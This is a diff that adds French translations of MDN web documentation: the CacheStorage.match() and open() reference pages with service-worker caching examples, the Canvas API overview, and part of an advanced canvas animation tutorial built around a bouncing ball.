@@ -0,0 +1,115 @@
+---
+title: CacheStorage.match()
+slug: Web/API/CacheStorage/match
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorkers
+  - match
+translation_of: Web/API/CacheStorage/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La fonction <strong><code>match()</code></strong> de l'interface {{domxref("CacheStorage")}} qu'une {{domxref("Request", "Requête")}} est la clé d'un objet {{domxref("Cache")}} object suivie par un objet {{domxref("CacheStorage")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie la {{domxref("Response", "Réponse")}} correspondante.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<p>Les objets <code>Cache</code> sont cherchés par ordre de création.</p>
+
+<div class="note"><strong>Note</strong>: {{domxref("CacheStorage.match()", "caches.match()")}} est une méthode de commodité. Une fonctionnalité équivalente consiste à appeler {{domxref("cache.match()")}} sur chaque cache (dans l'ordre renvoyé par {{domxref("CacheStorage.keys()", "caches.keys()")}}) jusqu'à ce qu'une {{domxref("Response", "Réponse")}} soit renvoyée.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">caches.match(<em>request</em>,{<em>options</em>}).then(function(<em>response</em>) {
+  // faire quelque-chose avec la requête et la réponse
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La {{domxref("Request", "Requête")}} recherchée.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet dont les propriétés contrôlent comment la correspondance est fait avec l'opération <code>match</code>. Les options disponible sont:
+ <ul>
+  <li><code>ignoreSearch</code>: Un {{domxref("Boolean")}} qui détermine si le preocessus de rapprochement doit ignorer la chaîne de requête dans l'url. Défini à <code>true</code>, la partie <code>?value=bar</code> de <code>http://foo.com/?value=bar</code> sera ignoré lors d'un rapporchement. La valeur par défaut est <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Un {{domxref("Boolean")}} qui, quand défini à <code>true</code>, empêche l'opération de rapprochement de valider le verbe http de la {{domxref("Request", "Requête")}} <code>http</code> (normalement, seulement <code>GET</code> et <code>HEAD</code> sont authorisés) La valeur par défaut est <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Un {{domxref("Boolean")}} qui, quand défini à <code>true</code>, dit à l'opération de rapprochement de ne pas faire le rapprochement avec le header <code>VARY</code>. En d'autres termes, si une URL est sélectionnée elle sera conservée indépemment de la présence du header <code>VARY</code>. La valeur par défaut est <code>false</code>.</li>
+  <li><code>cacheName</code>: Un {{domxref("DOMString")}} qui représente le cache dans lequel on recherche.<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui renvoie les {{domxref("Response", "Réponses")}} correspondante.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Cet exemple est tiré du MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (voir <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Nous attendons pour un évènement {{domxref("FetchEvent")}} et nous construisons une réponse comme suit:</p>
+
+<ol>
+ <li>Vérifier si une correspondance pour la requète est trouvée dans le {{domxref("CacheStorage")}} en utilisant {{domxref("CacheStorage.match")}}. Si oui, la servir.</li>
+ <li>Si non, ouvrire le cache <code>v1</code> avec <code>open()</code>, mettre le réseau par défaut dans le cache avec {{domxref("Cache.put")}} et retourner un clone du réseau par défaut en utilisant <code>return response.clone()</code> — obligatoire car <code>put()</code> détruit le corps de la réponse.</li>
+ <li>Si ceci échoue (e.g., parce que le réseau est inactif), retourner une réponse de secours.</li>
+</ol>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  event.respondWith(caches.match(event.request).then(function(response) {
+    // caches.match() always resolves
+    // but in case of success response will have value
+    if (response !== undefined) {
+      return response;
+    } else {
+      return fetch(event.request).then(function (response) {
+        // response may be used only once
+        // we need to save clone to put one copy in cache
+        // and serve second one
+        let responseClone = response.clone();
+
+        caches.open('v1').then(function (cache) {
+          cache.put(event.request, responseClone);
+        });
+        return response;
+      }).catch(function () {
+        return caches.match('/sw-test/gallery/myLittleVader.jpg');
+      });
+    }
+  }));
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cachestorage-match', 'CacheStorage: match')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage.match")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cachestorage/open/index.html b/files/fr/web/api/cachestorage/open/index.html
new file mode 100644
index 0000000000..a2c81af6f9
--- /dev/null
+++ b/files/fr/web/api/cachestorage/open/index.html
@@ -0,0 +1,93 @@
+---
+title: CacheStorage.open()
+slug: Web/API/CacheStorage/open
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorkers
+  - open
+translation_of: Web/API/CacheStorage/open
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La fonction <strong><code>open()</code></strong>de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} correspondant a un <code>cacheName</code>.</p>
+
+<p>Vous pouvez accéder à <code>CacheStorage</code> via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Si le {{domxref("Cache")}} spécifié n'existe pas, un nouveau cache sera crée avec <code>cacheName</code> et retournera une {{jsxref("Promise", "Promesse")}} renvoyant le nouvel objet {{domxref("Cache")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">caches.open(<em>cacheName</em>).then(function(<em>cache</em>) {
+  // faire quelque-chose avec le cache
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>cacheName</dt>
+ <dd>Le nom du cache que vous voulez ouvrir.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} demandé.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Cet exemple est tiré de l'<a href="https://github.com/mdn/sw-test/">exemple MDN sw-test</a> (voir <a href="https://mdn.github.io/sw-test/">sw-test en direct</a>). Ici, nous attendons qu'un {{domxref("InstallEvent")}} se déclenche, puis nous lançons {{domxref("ExtendableEvent.waitUntil", "waitUntil()")}} pour gérer le processus d'installation de l'application. Cela consiste à appeler <code>CacheStorage.open()</code> pour créer un nouveau cache, puis à utiliser {{domxref("Cache.addAll()")}} pour y ajouter une série d'éléments.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cachestorage-open', 'CacheStorage: open')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CacheStorage.open")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvas_api/index.html b/files/fr/web/api/canvas_api/index.html
new file mode 100644
index 0000000000..a697d99b2a
--- /dev/null
+++ b/files/fr/web/api/canvas_api/index.html
@@ -0,0 +1,168 @@
+---
+title: API canvas
+slug: Web/API/Canvas_API
+tags:
+  - API
+  - Canvas
+  - Reference
+translation_of: Web/API/Canvas_API
+---
+<div>{{IncludeSubnav("/fr/docs/Jeux")}} {{CanvasSidebar}}</div>
+
+<p class="summary">Ajouté en <a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/HTML5">HTML5</a>, l'élément {{HTMLElement("canvas")}} est un nouvel élément qui peut être utilisé pour dessiner des graphismes via des scripts <a href="/fr/docs/JavaScript" title="fr/docs/JavaScript">JavaScript</a>. Par exemple, Il peut être utilisé pour dessiner des graphes, faire des compositions de photos, des animations, ou même faire du traitement ou de l'affichage de vidéos en temps réel.</p>
+
+<p>Les applications Mozilla ont commencé à supporter &lt;canvas&gt; à partir de Gecko 1.8 (c'est-à-dire <a href="/fr/docs/Firefox_1.5_pour_les_développeurs" title="fr/docs/Firefox_1.5_pour_les_développeurs">Firefox 1.5</a>). L'élément a été introduit à l'origine par Apple pour le <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Dashboard d'OS X</a> et pour Safari. Internet Explorer supporte &lt;canvas&gt; depuis la version 9 et ultérieures, pour les versions précédentes d'IE, une page peut effectuer ce support de &lt;canvas&gt; en incluant un script depuis le projet <a href="http://excanvas.sourceforge.net/">Explorer Canvas  </a>de Google.</p>
+
+<p>L'élément &lt;canvas&gt; est aussi utilisé par <a href="https://developer.mozilla.org/fr/docs/Web/API/WebGL_API">WebGL</a> pour afficher des graphismes 3D avec accélération matérielle sur des pages web.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voilà un simple extrait de code qui utilise la méthode {{domxref("CanvasRenderingContext2D.fillRect()")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Éditez le code ci-dessous pour voir les changements avoir lieu directement dans le canvas:</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Références">Références</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasImageSource")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("RenderingContext")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}{{experimental_inline}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}</li>
+</ul>
+</div>
+
+<p>Les interfaces liées au <code>WebGLRenderingContext</code> sont référencées sous <a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a>.</p>
+
+<p>{{domxref("CanvasCaptureMediaStream")}} est lié.</p>
+
+<h2 id="Guides_et_tutoriels">Guides et tutoriels</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Tutoriel_canvas">Tutoriel canvas</a></dt>
+ <dd>Un tutoriel complet qui couvre à la fois l'usage élémentaire de <code>&lt;canvas&gt;</code> mais aussi ses fonctionnalités avancées.</dd>
+ <dt><a href="/fr/docs/Extraits_de_code/Canvas" title="fr/docs/Extraits_de_code/Canvas">Extraits de code : Canvas</a></dt>
+ <dd>Quelques extraits de code orientés vers les développeurs d'extension qui utilisent <code>&lt;canvas&gt;</code>.</dd>
+ <dt><a href="/fr/docs/Un_raycaster_basique_avec_canvas">Demo: Un raycaster basique avec canvas</a></dt>
+ <dd>Une demonstration d'animation utilisant le ray-tracing dans un élément canvas.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Canvas/Dessiner_des_objets_DOM_dans_un_element_canvas">Dessiner des objets DOM dans un élément canvas</a></dt>
+ <dd>Comment dessiner un contenu DOM, tel que des éléments HTML, dans un canvas.</dd>
+ <dt><a href="/fr/docs/HTML/Manipulating_video_using_canvas">Manipulation vidéo avec la balise canvas</a></dt>
+ <dd>Combiner {{HTMLElement("video")}} et {{HTMLElement("canvas")}} pour manipuler des données video en temps réel.</dd>
+</dl>
+
+<h2 id="Ressources">Ressources</h2>
+
+<h3 id="Général">Général</h3>
+
+<ul>
+ <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas Deep Dive</a> (en)</li>
+ <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas Handbook</a> (en)</li>
+</ul>
+
+<h3 id="Bibliothèques">Bibliothèques</h3>
+
+<ul>
+ <li><a href="http://fabricjs.com">Fabric.js</a> est une bibliothèque open-source qui peut analyser du code SVG.</li>
+ <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> est une bibliothèque open-source concentrée sur l'interactivité pour les applications mobiles et de bureau.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a> est une bibliothèque open-source qui rajoute un système de dessin vectoriel au canvas HTML5.</li>
+ <li><a href="http://origamijs.com/docs/">Origami.js</a> est une bibliothèque légère open-source pour canvas.</li>
+ <li><a href="http://libcanvas.github.com/">libCanvas</a> est un framework canvas puissant et léger.</li>
+ <li><a href="http://processingjs.org">Processing.js</a> est un portage du langage de visuaisation Processing.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> est un moteur de jeu open-source.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> est un moteur de jeu open-source.</li>
+ <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> est une bibliothèque permettant de réaliser des diagrammes et des graphiques.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> est une API d'animation par key-framing pour Canvas.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> est un framework WebGL pour la visualisation de données, pour la programmation créative et pour le developpement de jeux.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> crée des visualisation de données interactives en 2D avec canvas pour le Web.</li>
+ <li><a href="http://www.createjs.com/easeljs">EaselJS</a> est une bibliothèque gratuite/open-source qui facilite l'utilisation de canvas pour faire des jeux ou de l'art</li>
+ <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> est une autre bibliothèque open-source pour créer et manipuler des éléments 2D dans canvas</li>
+ <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a> est une bibliothèque open-source pour créer des cartes thermiques basées sur canvas</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html
new file mode 100644
index 0000000000..fadf515090
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: Animations avancées
+slug: Web/API/Canvas_API/Tutoriel_canvas/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p>Dans le dernier chapitre, nous avons réalisé des <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Animations_basiques">animations basiques</a> et avons appris comment faire en sorte que les éléments se déplacent. Dans cette partie, nous allons regarder de prêt le mouvement lui-même et ajouter un peu de physique afin de réaliser nos animations avancées.</p>
+</div>
+
+<h2 id="Dessinons_une_balle">Dessinons une balle</h2>
+
+<p>Nous allons utiliser une balle pour étudier les animations. Ainsi, Commençons par dessiner notre balle au sein du canevas.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Comme d'habitude, nous avons tout d'abord besoin de dessiner le contexte. Pour dessiner la balle, nous allons créer un objet <code>ball</code> contenant des propriétés et une méthode <code>draw()</code> afin de la placer sur le canevas.</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p>Il n'y a rien de spécial ici, la balle est pour le moment un simple cercle qui est dessiné à l'aide de la méthode {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p>
+
+<h2 id="Ajout_de_la_vitesse">Ajout de la vitesse</h2>
+
+<p>Maintenant que nous avons une balle, nous sommes prêts à ajouter une animation simple comme nous avons pu le voir dans le <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Animations_basiques">dernier chapitre</a> de ce tutoriel. Une fois encore, {{domxref("window.requestAnimationFrame()")}} nous aide à contrôler l'animation. Il est possible de déplacer la balle en ajoutant un vecteur de vitesse à la position. Pour chaque "frame", nous avons aussi {{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}} <em>(nettoyé)</em> les canvas pour supprimer les anciens cercles des "frames" précédents.</p>
+
+<pre class="brush: js; highlight:[8,9,24,25] notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="Limites">Limites</h2>
+
+<p>Si aucun test de collision n'est effectué, notre balle sort hors du canevas rapidement. Nous avons ici besoin de vérifier si les positions <code>x</code> et <code>y</code> de la balle sont hors des dimensions du canevas et si c'est le cas, d'inverser la direction des vecteurs de vitesse. Pour faire cela, nous ajoutons les vérifications suivantes à la méthode <code>draw</code> :</p>
+
+<pre class="brush: js notranslate">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="Première_demo">Première demo</h3>
+
+<p>Voyons voir ce que cela donne. Déplacez votre souris dans le canevas pour commencer l'animation :</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Première_demo", "610", "310")}}</p>
+
+<h2 id="Accélération">Accélération</h2>
+
+<p>Afin d'obtenir un mouvement plus réel, vous pouvez jouer sur la vitesse, par exemple :</p>
+
+<pre class="brush: js notranslate">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p>Ceci ralentit la vitesse verticale à chaque rendu d'image de sorte que la balle va rebondir de moins en moins haut.</p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="Effet_de_traînée">Effet de traînée</h2>
+
+<p>Jusqu'à maintenant, nous avons utilisé la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}} pour effacer les images précédentes. En la remplaçant par la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} et en utilisant un remplissage semi-transparent, on obtient un effet de traînée.</p>
+
+<pre class="brush: js notranslate">ctx.fillStyle = 'rgba(255,255,255,0.3)';
+ctx.fillRect(0,0,canvas.width,canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255,255,255,0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e){
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="Ajout_dun_contrôle_de_souris">Ajout d'un contrôle de souris</h2>
+
+<p>Afin d'obtenir quelques contrôles sur la balle, nous pouvons faire suivre notre souris en utilisant l'événement <code><a href="/en-US/docs/Web/Reference/Events/mousemove">mousemove</a></code>, par exemple. L'événement <code><a href="/en-US/docs/Web/Events/click">click</a></code> relâche la balle et la laisse rebondir à nouveau.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255,255,255,0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e){
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener("click",function(e){
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p>Déplacez la balle en utilisant votre souris et relâchez-la avec un click.</p>
+
+<p>{{EmbedLiveSample("Ajout_d'un_contrôle_de_souris", "610", "310")}}</p>
+
+<h2 id="Casse-briques">Casse-briques</h2>
+
